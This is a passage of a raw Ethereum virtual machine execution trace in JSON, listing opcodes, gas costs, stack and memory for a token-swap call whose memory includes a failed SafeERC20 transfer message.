000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf495688166000000000000000000000000175940b39014cd3a9c87cd6b","1d7616a097db958e000000000000000000000000000000000000000000000000"]},{"pc":12486,"op":"DUP1","gas":77557,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x384","0x20","0x3a4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf495688166000000000000000000000000175940b39014cd3a9c87cd6b","1d7616a097db958e000000000000000000000000000000000000000000000000"]},{"pc":12487,"op":"PUSH1","gas":77554,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x384","0x20","0x3a4","0x3a4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf495688166000000000000000000000000175940b39014cd3a9c87cd6b","1d7616a097db958e000000000000000000000000000000000000000000000000"]},{"pc":12489,"op":"MSTORE","gas":77551,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x384","0x20","0x3a4","0x3a4","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf495688166000000000000000000000000175940b39014cd3a9c87cd6b","1d7616a097db958e000000000000000000000000000000000000000000000000"]},{"pc":12490,"op":"POP","gas":77548,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x384","0x20","0x3a4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf495688166000000000000000000000000175940b39014cd3a9c87cd6b","1d7616a097db958e000000000000000000000000000000000000000000000000"]},{"pc":12491,"op":"DUP2","gas":77546,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x384","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf495688166000000000000000000000000175940b39014cd3a9c87cd6b","1d7616a097db958e000000000000000000000000000000000000000000000000"]},{"pc":12492,"op":"ADD","gas":77543,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x384","0x20","0x384"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf495688166000000000000000000000000175940b39014cd3a9c87cd6b","1d7616a097db958e000000000000000000000000000000000000000000000000"]},{"pc":12493,"op":"SWAP1","gas":77540,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x384","0x3a4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf495688166000000000000000000000000175940b39014cd3a9c87cd6b","1d7616a097db958e000000000000000000000000000000000000000000000000"]},{"pc":12494,"op":"PUSH2","gas":77537,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x3a4","0x384"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf495688166000000000000000000000000175940b39014cd3a9c87cd6b","1d7616a097db958e000000000000000000000000000000000000000000000000"]},{"pc":12497,"op":"SWAP2","gas":77534,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x3a4","0x384","0x30d7"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf495688166000000000000000000000000175940b39014cd3a9c87cd6b","1d7616a097db958e000000000000000000000000000000000000000000000000"]},{"pc":12498,"op":"SWAP1","gas":77531,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x30d7","0x384","0x3a4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf495688166000000000000000000000000175940b39014cd3a9c87cd6b","1d7616a097db958e000000000000000000000000000000000000000000000000"]},{"pc":12499,"op":"PUSH2","gas":77528,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x30d7","0x3a4","0x384"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf495688166000000000000000000000000175940b39014cd3a9c87cd6b","1d7616a097db958e000000000000000000000000000000000000000000000000"]},{"pc":12502,"op":"JUMP","gas":77525,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x30d7","0x3a4","0x384","0x3aaf"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000